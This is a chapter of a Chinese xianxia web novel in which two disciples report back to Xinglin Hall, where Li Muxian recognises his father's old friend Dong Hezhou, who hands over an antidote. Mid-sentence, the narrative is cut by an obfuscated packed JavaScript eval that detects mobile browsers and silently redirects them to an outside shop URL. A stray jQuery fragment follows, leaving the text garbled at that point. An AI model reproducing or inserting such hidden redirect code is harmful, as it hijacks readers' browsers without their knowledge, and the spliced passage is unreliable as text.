老和尚伸手掰了一块碎瓦片在手里翻了翻,又抬头看了看天色,叹了口气:“明日还得找人补瓦。”
持盈朝他合掌行了一礼:“今夜叨扰师父了。”
老和尚摆了摆手,:“不妨事不妨事。老僧这把老骨头,难得活动活动。倒是你们二位——”
“大老远从永州跑到云州来,就为了追这么个人?”
“是奉师命前来查一些事情。”持盈道。
老和尚点了点头,他转身往寺门方向走去:“夜深了,二位施主早些回去歇息罢。云州城这几日不太平,夜里少出门。”
说完他便推开寺门,佝偻着背走了进去,顺手将门合上了。
门缝中透出一线灯光,随即又被合拢的门板遮住了。脚步声踢踏踢踏地远去,终于听不见了。
持盈在门口站了片刻,转过身来。
李慕仙站在她身后几步远的地方,低头看着自己掌心里残留的一丝白芒。那是方才运转归元诀时残存的炁,正在一点一点地消散。
两人沿着来路往回走,到杏林堂门口已是亥时末了。
街上的人已经散尽,只剩下几个值夜的衙役蹲在墙角下打盹。
杏林堂门口的灯笼还亮着,暖黄色的光在夜风中轻轻摇晃,将门前的石阶照得明暗不定。
持盈正要推门进去,门却从里面被推开了。
沈蹊站在门内,手里端着一盏油灯。他看见持盈和李慕仙站在门口,上下打量了一番。
目光在持盈撕裂的袖口上停了一瞬,又在李慕仙衣襟上沾着的一片灰痕上停了一瞬。
“听说你们追人去了?”
“追到了。”持盈道,“一个分身。追到城西一座寺庙的屋顶上,被寺中一位老师父帮忙拿住了。”
沈蹊听完才道:“我师父回来了,你们跟我来。”
他转身往内堂走去,持盈与李慕仙跟在他身后,穿过一条不长的走廊,来到杏林堂后院一间亮着灯的书房门前。
沈蹊在门外站定,抬手敲了敲门:“师父,人到了。”
“进来。”
那声音温和,自有一股沉稳的分量。
沈蹊推开门,侧身让开。
书房不大,三面墙壁都镶着书架,架上密密地码着书册与卷宗。
书案后面坐着一个人。
约莫五十出头的年纪,穿着一件深灰色的长衫,面容清癯,颧骨微高。
眉目之间带着一股久病初愈般的疲惫,但目光却仍然清明。
他手中正捧着一卷东西,听见脚步声,抬起头来,朝门口看来。
视线在持盈身上停了一瞬,又移到一旁的李慕仙身上,手上动作微微一顿,将那卷东西放了下来。
“你是——”
他眯起眼睛,仔细端详了一番,眉头动了一下,口吻已然带了熟稔,“李家的小五?”
李慕仙被那一声“李家的小五”叫得整个人愣了一下,他辨认了好一会儿,才迟疑着开口:“董……世叔?”
董鹤舟点了点头,目光在他脸上又停了片刻:“长这么大了。”他上下打量了一番,又补了一句,“上回见你,你站在你父亲身后,趁你父亲与老夫说话的时候,偷偷伸手去够老夫案上那只青瓷镇纸。”
李慕仙的脸一下子涨红了:“我——我不记得了。”
“你不记得了,老夫可记得。”
“那只镇纸被你够了下来,啪的一声摔在地上,碎成了三瓣。你父亲当时脸色铁青,你倒是机灵,不等你父亲开口,便自己先哭了。”
李慕仙的脸更红了,他干过的淘气事太多,不记得这件事了。
但董鹤舟说得如此具体,由不得他不信。他站在那里,手脚都不晓得往哪里放,耳朵尖红得像要滴出血来。
董鹤舟看着他这副模样,面上仍是那副淡淡的、带着倦意的神色,但语气比方才柔和了些许:“都长这么大了。”
他将面前那卷地图收起来放到一旁,搁下手来,“你在玄极观?”
“是。”李慕仙连忙应道,“入门四年了。”
“四年——”董鹤舟点了点头,“你父亲可还好?”
“家父身体尚可。只是这些年家中生意上的事多,他也不能像从前那样清闲了。”
董鹤舟微微颔首,目光在他身上停了一瞬。
见他比从前抽条了许多,站在那里肩背虽然努力挺直,却还是带着少年人那种尚未完全长开的单薄感,心中便有了数。
“在玄极观可还习惯?”
“习惯,师父和师兄们都待弟子很好。”
董鹤舟没有再问家中的事,目光转向持盈:“这位是?”
持盈合掌行了一礼:“玄极观弟子持盈,见过董掌门。”
董鹤舟在书案后面重新坐了下来,沉吟片刻,方才开口:“云州城的事,老夫已经查清了。魔气的来源、那些病人发狂的原因、以及那间分堂在其中的角色——都已查明了。”
持盈等着他继续往下说,董鹤舟沉默了片刻才道:“但这是杏林堂门内之事,牵涉本门一些不便为外人道的旧事。老夫只能告知二位——此事至此,玄极观已不必再过问了。剩下的,本门自会处置。”
持盈的目光落在他脸上,片刻后,只道:“晚辈知晓。”
董鹤舟点了点头,从书案上的一只木匣中取出一只小瓷瓶来,放在案上,推向持盈的方向:“这是解药。已发狂者,灌服一剂,约莫一盏茶的工夫便能安静下来。未发狂但被咬伤者,灌服半剂,能阻断魔气侵蚀经脉。”
他顿了顿,又道:“制这解药的方子,是本门一位前辈留下的。老夫让沈
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17605257|202867||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
蹊清点了一下库中的药材,配了这批解药,大约够城中现有的病人用。”
持盈接过那只小瓷瓶,收入怀中。
李慕仙站在一旁,一直没有说话。他看了看董鹤舟案上那只木匣的位置,忽然开口问了一句:“世叔——那个人,我在寺庙屋顶上碰到的那个人,他跟我们说,他要的东西已经拿到了。”
董鹤舟的目光微微一凝:“他亲口说的?”
“亲口说的。他说那只是个分身,被打散了也无妨,他要的东西已经到手了。问他拿了什么,他不说,只笑了一声便散去了。”
董鹤舟的眉头微微皱了一下,沉默了一会儿,才缓缓开口:“他要拿的东西,大约已经不在云州城了。”
李慕仙张了张嘴,还想问什么,但董鹤舟已经将那卷地图重新展开,铺在案上,低下头去看那幅图上被朱笔圈过的几个地方了。
李慕仙便闭上了嘴,他站了几息,合掌行了一礼,“世叔,您多保重。”
董鹤舟抬起头来,看了他一眼:“你也是。”
李慕仙便快步出了门,走出书房时,他才发觉自己方才一直憋着一口气,这会儿终于呼了出来。
走过那条走廊时,沈蹊从柜台后面抬起头来,看了他一眼:“问完了?”
李慕仙点了点头,他走出杏林堂大门,站在石阶上,夜风迎面吹来,将他脸上残余的热意吹散了几分。
他站在门口,等着持盈出来。
过了没一会儿,脚步声从身后传来,他回过头去,见持盈走了出来:“走罢。”
她走过他身边时,脚步没有停。
李慕仙跟了上去,两人并肩走在空旷的街道上,月光将路面照得明晃晃的。
走了一段路,李慕仙忽然开口道:“他说小时候的事……我一点印象都没有了。”
持盈偏过头来看了他一眼,没有接话。
李慕仙低下头去,看着自己的鞋尖一步一步地踩在月光下的青石板上,有些别扭地道:“但他说得那么具体——那只青瓷镇纸,我好像又有一点点印象,绿色的。”
“那大概是真的了。”持盈道。
李慕仙沉默了一会儿,有些郁闷地道:“可我不记得了。”
持盈没有安慰他,只说了一句:“你那时候还小,不记得也正常。”
李慕仙闷闷地“嗯”了一声,走了一段路,又忽然开口说了一句:“董世叔以前过年的时候,给过我不少红包。”
持盈偏过头来看他。
“有一年,他给的红包比谁都厚。我娘替我收着,说是等我长大了再给我。后来我也不晓得那红包去了哪里。”
他说完这句话,自己也没有再往下说了。夜风吹过来,将他有些长的额发吹乱了几缕,他没有去理。
两人就这样并肩走着。